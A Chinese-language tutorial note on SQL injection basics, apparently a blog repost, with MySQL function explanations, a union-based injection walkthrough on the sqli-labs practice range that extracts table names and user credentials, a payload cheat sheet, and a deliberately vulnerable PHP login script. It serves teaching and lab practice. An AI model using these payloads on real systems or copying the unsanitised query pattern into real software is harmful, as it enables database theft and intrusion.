SQL注入笔记1_基础知识

0x00、 SQL漏洞发现与利用

  • 1.发现存在sql注入
  • 2.通过sql注入获取数据库中的信息
  • 3.找登录页面
  • 4.利用获取到的信息,登录成功
  • 5.登陆之后,寻找其他有关漏洞并利用,比如有个上传页面
  • 6.上传木马
  • 7.用工具连接木马
  • 8.拿到shell,普通权限——>提权
  • 9.后渗透,留后门
  • 10.内网渗透

0x01、 基础知识

1.1、 WEB服务器-静态网页

html或者htm,是一种静态的页面格式,不需要服务器解析其中的脚本,由浏览器解析。

  • 不依赖数据库
  • 灵活性差,制作、更新、维护麻烦
  • 交互性差,在功能方面有较大的限制
  • 安全,不存在sql注入漏洞

1.2、 WEB服务器-动态网页

最普遍的是一个应用服务器和一个数据库。

  • 依赖数据库
  • 灵活性好,维护方便
  • 交互性好,功能强大
  • 存在安全风险,可能存在sql注入漏洞

1.3、 SQL注入的基本流程:

  1. 判断应用程序是否存在注入漏洞
  2. 收集信息、并判断数据库类型
  3. 根据注入参数类型,重构SQL语句的原貌
  4. 猜解表名、字段名
  5. 获取账户信息、攻击web或者下一步攻击做准备

1.4、 SQL注入的危害:

  • 数据库信息泄露
  • 网页篡改:通过操作数据库对特定网页进行篡改,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被更改。
  • 服务器被远程控制:黑客可以修改或控制操作系统。
  • 种植木马:瘫痪全系统

1.5、 SQL注入原理:

​ 由于web应用程序对用户输入的数据没有过滤或者没有判断是否合法性,前端传入的参数是攻击者可以控制,并且参数带入数据库的执行,因此攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作

1.6、 SQL 注入漏洞产生的条件:

  1. 参数用户可控:前端传入的参数内容由用户控制
  2. 参数带入数据库执行:传入的参数拼接到 SQL 语句,并且带入数据库执行

1.7、 MySQL内部相关知识:

"``"反引号,一般在ESC键的下方。它是为了区分MYSQL的保留字与普通字符而引入的符号。

举个例子:SELECT `select` FROM `T1` WHERE 字段名='字段值'
​    在T1表中,有个字段名为select,如果不用反引号,MYSQL将把select视为保留字而导致出错,
  所以,有MYSQL保留字作为字段的,必须加上反引号来区分。
  名字上带反的反引号,这个其实是为了防止当字段为关键字时,用反引号就不会报错了

1.8、 MySQL的基本语句:

SELECT 语句用于从表中选取数据。结果被存储在一个结果表中(称为结果集)

假设有一张表为“list”,里面有字段,name,pwd,sex.
查询语句:
​ select * from list where name='kzq' and pwd='sss';
插入语句:
​ insert into list(name,pwd,sex) values('a','aa','boy');
修改语句:
​ update list set pwd='aadd' where name='kzq';
删除语句:
​ delete from list where name='kzq';

0x02、 Mysql自带库与常用函数

2.1、mysql5.0 以上版本定义的库

information_shcema数据库中的三个表:

1.schemata 表存储的是该用户创建的所有数据库的库名

  • schemata 记录的字段有 :schema_name

2.tables 表存储该用户创建的所有数据库的库名和表名

  • tables 表包含库名和表名的字段: table_schema table_name

3.columns 表存储该用户创建的所有数据库的库名、表名、字段名

  • columns 表包含库名、表名、字段名: table_schema table_name column_name

2.2、注释

1、mysql的注释:

a. / **/  
b. --加空格,即“-- ”或者--+ :url 加号(+),会被解析成空格
c. # 

url编码中: %20表示空格(空格可以使用+代替),%23表示#,+会被解析成空格,%27表示单引号,%28、%29为()

2、SQL注入的注释:

1.GET提交方式:
      a. --+
      b. %23

2.POST提交方式:
      a. --+  :表单和url中都可以用    
      b. #   :一般在表单中使用

2.3、相关函数

内置系统函数: 
​version():   当前mysql版本 
​database():  当前网站使用的数据库 
​user():      当前mysql的用户
@@datadir: 数据库路径   
@@version_compile_os: 操作系统版

1、limit m,n用法 :

limit的使用格式是limit m,n,其中m指的是记录开始的位置(m+1),n表示取几条
​   当m=0时,表示从第一条记录开始,取n条记录显示。
   例如:
mysql> select * from kk;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
|  1 | aa       | 11       |
|  2 | cvb      | 1234     |
|  3 | dsaa     | 4552     |
|  4 | asdaw    | 7885     |
+----+----------+----------+

mysql> select * from kk limit 0,2;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
|  1 | aa       | 11       |
|  2 | cvb      | 1234     |
+----+----------+----------+

mysql> select * from kk limit 2,2;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
|  3 | dsaa     | 4552     |
|  4 | asdaw    | 7885     |
+----+----------+----------+

mysql> select * from kk limit 2,1;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
|  3 | dsaa     | 4552     |
+----+----------+----------+

2、order by n用法示例:对要所查询的字段中的第n个字段进行排序(缺省升序)。

如:对所查询的字段中的第2个字段 进行排序
select a,b from table order by 2 ;
 相当于: 
select a,b from table order by b ;  查询之后按b字段的值按升序排列 
  改变后面n的值判断所查询字段数量为多少: 3正常  2正常  4异常,说明字段数为3
mysql> select * from kk order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | aa       | 11       |
|  2 | cvb      | 1234     |
|  4 | tbtby    | 1523     |
|  3 | afg      | 5452     |
+----+----------+----------+
4 rows in set (0.00 sec)

mysql> select * from kk order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

mysql> select * from kk order by 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | aa       | 11       |
|  3 | afg      | 5452     |
|  2 | cvb      | 1234     |
|  4 | tbtby    | 1523     |
+----+----------+----------+
4 rows in set (0.00 sec)

3、union 联合查询:

union操作符用于合并两个或多个 select 语句的结果集。 union 内部的 select 语句必须拥有相同数量的字段。
示例:
mysql> select * from users where id=1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.03 sec)

4、where函数:

select * from T where C='hello';   以“where”来限制回传字段C中完全符合条件的数据
select * from T where C like 'hell%';  以“where”搭配“like”来回传字段C中相似符合条件的数据

5、 其他有关函数

假设现有一张表kk里面存放了id,username,password这些信息

则通过select查询得到以下结果:
mysql> select id,username,password from kk;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | aa       | 11       |
|  2 | cvb      | 1234     |
+----+----------+----------+
2 rows in set (0.00 sec)
  1. concat()函数 将函数内的参数连接起来,形成一个单一的字符串,一行显示一组。
concat(str1,str2..)连接函数举例
mysql> select concat(id,username,password) from kk;
+------------------------------+
| concat(id,username,password) |
+------------------------------+
| 1aa11                        |
| 2cvb1234                     |
+------------------------------+
2 rows in set (0.00 sec)

  1. ​ group_concat()函数 将所有的输出结果都汇聚到一行,原本在一行的数据组合成一个字符串,使用逗号做为分隔符。
group_concat(str1,str2..)组合函数举例
mysql> select group_concat(id,username,password) from kk;
+------------------------------------+
| group_concat(id,username,password) |
+------------------------------------+
| 1aa11,2cvb1234                     |
+------------------------------------+
1 row in set (0.00 sec)

  1. ​ concat_ws()函数和concat()函数类似,只不过concat_ws()是使用第一个参数做为分隔符,将每个参数隔开
concat_ws(sep,str1,str2..)函数举例
mysql> select concat_ws('-',id,username,password) from kk;
+-------------------------------------+
| concat_ws('-',id,username,password) |
+-------------------------------------+
| 1-aa-11                             |
| 2-cvb-1234                          |
+-------------------------------------+
2 rows in set (0.01 sec)


left(m,n)               从左向右截取字符串m返回前n位
substr(m,1,1)           取字符串m的左边第一位器,1字长的字符串 
ascii(m)                返回字符串m的ASCII码
if(str1,str2,str3)      如果str1正确就执行str2,否则执行str3 
sleep(m)                使程序暂停m秒
length(m)               返回字符串m的长度
count(column_name)      返回指定列的值的数目

exists()               EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值TrueFalse。一种通俗的可以理解为:将外查询表的每一行,代入内查询作为检验,如果内查询返回的结果取非空值,则EXISTS子句返回TRUE,这一行行可作为外查询的结果行(即可以作为参数),否则不能作为结果。 

6、and & or

and & or 表示的是逻辑判断,and 表示 且,or 表示 或,即 and所连接的语句必须全要为真,整体才算真,or所连接的语句只要其一为真整体就为真。当不能输出语句时逻辑判断真的结果为1,假为的结果为空(0或null)

1.例如,在查询表中数据时,and 与 or 的区别,示例

假设有以下表kk:
SQL注入笔记1_基础知识_第1张图片

a. 查找显示id=2 或 name=aa的数据信息
mysql> select * from kk where id=2 or name='aa';
+----+------+------+
| id | name | pass |
+----+------+------+
|  1 | aa   | 213  |
|  2 | sda  | 112  |
|  3 | aa   | 213  |
|  5 | aa   | 112  |
+----+------+------+

b. 查找显示id=2 且 name=aa的数据信息,无输出结果
mysql> select * from kk where id=2 and name='aa';
Empty set (0.00 sec)

c. 查找显示id=2 且 name=sda的数据信息
mysql> select * from kk where id=2 and name='sda';
+----+------+------+
| id | name | pass |
+----+------+------+
|  2 | sda  | 112  |
+----+------+------+

2.select 结果集 中示例 and 与 or
参考以下例子,其中()表示子语句,会执行里面的sql语句,存在查询结果就输出其结果,若不存在,输出为null;当不能输出语句时逻辑判断结果是真为1,是假结果为空(0或null)

a. select concat(name) from kk where id=9; 的结果不存在即为null
mysql> select database(),(select concat(name) from kk where id=9),'hg';
+------------+------------------------------------------+----+
| database() | (select concat(name) from kk where id=9) | hg |
+------------+------------------------------------------+----+
| test       | NULL                                     | hg |
+------------+------------------------------------------+----+
1 row in set, 1 warning (0.00 sec)

b. select concat(name) from kk where id=2; 结果存在直接输出
mysql> select database(),(select concat(name) from kk where id=2),'hg';
+------------+------------------------------------------+----+
| database() | (select concat(name) from kk where id=2) | hg |
+------------+------------------------------------------+----+
| test       | sda                                      | hg |
+------------+------------------------------------------+----+

c. 1 or (select concat(name) from kk where id=9; or的逻辑判断输出——>1
mysql> select database(),(1 or (select concat(name) from kk where id=9)),'hg';
+------------+-------------------------------------------------+----+
| database() | (1 or (select concat(name) from kk where id=9)) | hg |
+------------+-------------------------------------------------+----+
| test       |                                               1 | hg |
+------------+-------------------------------------------------+----+

d. 1 and (select concat(name) from kk where id=9); and的逻辑判断输出——>null
mysql> select database(),(1 and (select concat(name) from kk where id=9)),'hg';
+------------+--------------------------------------------------+----+
| database() | (1 and (select concat(name) from kk where id=9)) | hg |
+------------+--------------------------------------------------+----+
| test       |                                             NULL | hg |
+------------+--------------------------------------------------+----+

e.  5 and 5 结果为真输出——>1
    5 and 0 结果为假输出——>0
    5 or 0 结果为真输出——>1
    -5 or 0 结果为真输出——>1
mysql> select (5 and 5),(5 and 0),(5 or 0);
+-----------+-----------+----------+-------------+
| (5 and 5) | (5 and 0) | (5 or 0) |(-5 or 0) |
+-----------+-----------+----------+-------------+
|         1 |         0 |        1 |        1 |
+-----------+-----------+----------+-------------+
1 row in set (0.00 sec)

f.   一般数字除0外都代表真,字符串为假, 
     若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。
  · -5 and 5 结果为真输出——>1  
  · 5 and 'hg' 结果为假输出——>0
  · 5 or 'hg' 结果为真输出——>1     
mysql> select (-5 and 5),(5 and 'hg'),(5 or 'hg'),5;
+------------+--------------+-------------+---+
| (-5 and 5) | (5 and 'hg') | (5 or 'hg') | 5 |
+------------+--------------+-------------+---+
|          1 |            0 |           1 | 5 |
+------------+--------------+-------------+---+
1 row in set, 1 warning (0.00 sec)

g.   'fsd' or 'jj' 结果为假输出——>0
     '5fsd'结果为真,'jj'为假,or的整体为真输出——>1
     '5fsd'结果为真,'jj'为假,and的整体为假输出——>0
mysql> mysql> select ('fsd' or 'jj'),('5fsd' or 'jj'),('5fsd' and 'jj');
+-----------------+------------------+-------------------+
| ('fsd' or 'jj') | ('5fsd' or 'jj') | ('5fsd' and 'jj') |
+-----------------+------------------+-------------------+
|               0 |                1 |                 0 |
+-----------------+------------------+-------------------+
1 row in set, 5 warnings (0.00 sec)

2.4、详讲SQL注入原理

​ 由前面的知识已经知道为啥会有SQL注入,以及形成原因,现在我们逐步分析与理解其过程。

比如有个网址为:http://192.168.191.134/1/sqli/Less-1/?id=1

比如执行的是查询语句,且执行语句如下所示:
mysql> select  `id`,`username`,`password` from users where id='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

其合法请求结果如下:只能看到参数id其值为1的输出结果

SQL注入笔记1_基础知识_第2张图片

当攻击者将参数的值构造为非法SQL语句时,例如:?id=1’ union select 1,2,3 limit 1,1 --+

由于我们没有对输入的参数进行过滤,攻击者构造的非法SQL语句最终被传入到数据库中执行
mysql> select  `id`,`username`,`password` from users where id='1' union select 1
,2,3; -- ';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.02 sec)

mysql> select  `id`,`username`,`password` from users where id='1' union select 1,2,3 limit 1,1; -- ';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

由下图可以观察到当恶意SQL语句被执行时,攻击者看到了其想看到的内容。

SQL注入笔记1_基础知识_第3张图片

经过实例的分析,我们了解到了,原本只能看到查询为id=1的结果,而攻击者通过构造非法的SQL语句,获取到了其他信息。
例如:改变参数id的值,?id=1 ----> ?id=1’ union select 1,2,3 limit 1,1 --+

在数据库分别执行的语句为:
    a.  select * from users where id='1'
    b.  select * from users where id='1' union select 1,2,3 limit 1,1 --+' 

万能密码

1' or 1=1 #   ——>  执行结果为真,输出数据库中的第一行数据。
执行的语句为:select * from users where id='1' or 1=1 ;

0x03、 注入测试

3.1、判断与联合注入

3.1.1、 判断字符注入类型

判断是否存在sql注入以及注入的类型:

1、判断注入类型:

a.整形注入:   
​        id=1' 报错
​        id=1 and 1=1 正常
​        id=1 and 1=2 异常
​        id=3-1 和 id=2的输出结果一致

b.字符注入:
​        id=1' 报错
​        id=1' and 1=1 # 正常
​        id=1' and 1=2 # 异常
​        id=3-1' 与id=2'的输出结果不一致 但和 id=3sdas'的输出结果一致

2、整形与字符型区别详讲

·整形是可以±运算的
·字符型匹配字符串,若字符串以数字开头,则取开头的数字作为转换结果(输出第一个可以匹配的,若找不到则为空)

a. 整形 如下所示:整形是可以进行±运算的

测试  id=13
mysql> select * from kk where id=13;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 13 | ss       | 44       |
+----+----------+----------+
1 row in set (0.00 sec)

测试  id=13+1
mysql> select * from kk where id=13+1;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 14 | wewa     | weae     |
+----+----------+----------+
1 row in set (0.00 sec)

测试  id=13-1
mysql> select * from kk where id=13-1;
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 12 | s        | 44       |
+----+----------+----------+
1 row in set (0.00 sec)

整形是不可以输入字符串的不然会报错,测试id=13asdas结果如下:
mysql> select * from kk where id=13asdas;
ERROR 1054 (42S22): Unknown column '13asdas' in 'where clause'

b. 字符型 如下所示:?id='12’与?id='12dad’以及?id='12-1’结果是一样的

测试  id='12dad'
mysql> select * from kk where id='12dad';
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 12 | s        | 44       |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

测试  id='12'
mysql> select * from kk where id='12';
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 12 | s        | 44       |
+----+----------+----------+
1 row in set (0.00 sec)

测试  id='12-1'
mysql> select * from kk where id='12-1';
+----+----------+----------+
| Id | username | password |
+----+----------+----------+
| 12 | s        | 44       |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

当找不到相匹配的结果时输出为空,如下所示:
mysql> select * from kk where id='srft';
Empty set (0.00 sec)

mysql> select * from kk where id='1222hhjj';
Empty set (0.00 sec)

3.1.2、 判断闭合结构

​ 1. 整形: 输入的值能进行±运算,当作数字,即纯数字无闭合

​ 2.单引号,双引号: 输入的值被当作字符串,不能运算,一般取第一个可以匹配的,否则无结果

MySQL中单引号与双引号的区别不大
例如:
mysql> select 's',"dd",'\'ii',"\'ii","'dd'","''''",'3"""';
+---+----+-----+-----+------+------+------+
| s | dd | 'ii | 'ii | 'dd' | '''' | 3""" |
+---+----+-----+-----+------+------+------+
| s | dd | 'ii | 'ii | 'dd' | '''' | 3""" |
+---+----+-----+-----+------+------+------+
1 row in set (0.08 sec)

​ 3. 主要闭合有整形、引号或前两之一加上括号闭合的等,根据实际判断

3.1.3、 联合注入实例

以靶场为例,靶场地址为:http://192.168.191.134/1/sqli/Less-3/

SQL注入笔记1_基础知识_第4张图片

开始测试,根据提示输入参数id并赋值,如下

SQL注入笔记1_基础知识_第5张图片

1、首先找到注入点,发现参数id是可控的,且经过测试得出是字符型注入

SQL注入笔记1_基础知识_第6张图片

2、判断闭合结构,如下所示,测试了值为:3’3"3’ --+3’) --+的结果;发现单引号报错,双引号成功,即可以判断是单引号字符型,由于3’ --+ 也报错,尝试加一个括号闭合,测试成功,可以得出是单引号带括号的闭合结构,即为:(‘’)

SQL注入笔记1_基础知识_第7张图片

3、构造SQL语句,判断出所查询的字段为几个,经测试在?id=3’) order by 4 --+时报错,而2和3是正常的,说明其字段数为3个 。

SQL注入笔记1_基础知识_第8张图片

4、判断出字段数之后,就可以使用联合查询找出回显点,回显位置即调用数据库中的信息显示在网页上,方便我们后续注入,如下图所示,在测试 ?id=3’) union select 4,5,6 --+时显示的结果还是id=3的,所以判断只能显示一行的数据,因此加一个limit方法,使得显示我们构造的参数,发现 ?id=3’) union select 4,5,6 limit 1,2–+ 成功得到回显点,即之后可以在5和6两个位置构造SQL语句

SQL注入笔记1_基础知识_第9张图片

5、在回显点构造SQL语句,http://192.168.191.134/1/sqli/Less-3/?id=3’) union select 4,user(),database() limit 1,2 --+ ,由之前的知识我们知道函数user(),database() 的作用,由下图可以知道的当前mysql的用户和当前所在数据库。得到数据库名security和当前权限。

SQL注入笔记1_基础知识_第10张图片

6、获取数据库中的表,构造语句**select 4,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),6 limit 1,2 --+ **
我们得到了表: emails,referers,uagents,users 其实通过表名我们可以猜测用户信息大概存放在users表中。

SQL注入笔记1_基础知识_第11张图片

7、获取表中包含的字段,构造语句select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’
我们得到了数据库security的users表中的字段有 id,username,password 。

SQL注入笔记1_基础知识_第12张图片

8、获取数据,构造语句

 select  group_concat(id,'_',username,'_',password) from  security.users

如下图所示,我们成功获取到了users表里的所有数据,在实际中我们获取到了用户数据信息后,就可以利用获取到的账号密码进行登录,从而进一步操作。

SQL注入笔记1_基础知识_第13张图片

9、例如,有如下的前后端代码,当用户名和密码输入正确时弹窗,这个比较简陋只是简单的示范而已,测试我们获得账号密码,以Dumb为例,成功登录!!!

SQL注入笔记1_基础知识_第14张图片

  
  <meta charset="UTF-8"/>
  <form action="post.php" method="POST">
  用户名<input type='text' name='b'/><br/>
  密码  <input type='password' name='password'/><br/>
  <input type='submit' name='s' value="登录"/>
  <input type='submit' name='s' value="register"/>
  form>
//
<?php 
    $username = $_POST['b'];
    $password = $_POST['password'];
    if($_POST['s']=="登录"){
        $conn = mysqli_connect('127.0.0.1','root','root','security');
        $sql = "select * from users where username='$username' and password='$password'";
	    $result = mysqli_query($conn ,$sql);
	    $cc=mysqli_fetch_array($result);
	if($username==$cc['username'] and $username!=null){
      //  echo "success:welcome  $username !!!";
		  echo "";
    }else if($username==null or $password==null){
        echo "user or password can't null";
    }else echo "fail";
    }
    if($_POST['s']=="register"){
        $conn = mysqli_connect('127.0.0.1','root','root','security');
        $sql = "select * from users where username='$username'";
        $result=mysqli_query($conn ,$sql);
        $cc=mysqli_fetch_array($result);
        if($username==$cc['username'] and $username!=null){
            echo "username aleady registered";
        }
        else if($username!=null and $password!=null){
            $sql2="insert into users(username,password) values(\"$username\",\"$password\")";
            $result2=mysqli_query($conn ,$sql2);
            echo "registered success";
        }else{
            echo "username or password can't null";
        }
    }
?>

10、整理

a. 判断字段数使用方法 order by n
' or 1=1 order by 4 --+

b. 判断回显位置
' or 1=1 union select 1,2,3,4 --+

c. 爆出当前数据库、当前所有者及版本
 union select 1,database(),user(),version() --+

d. 爆表
 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

e. 爆出字段
 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database() #

f. 爆出数据
union select 1,(select group_concat(C1) from T1),3,4 --+

等待后续更新…

你可能感兴趣的:(基础篇,mysql,sql,数据库)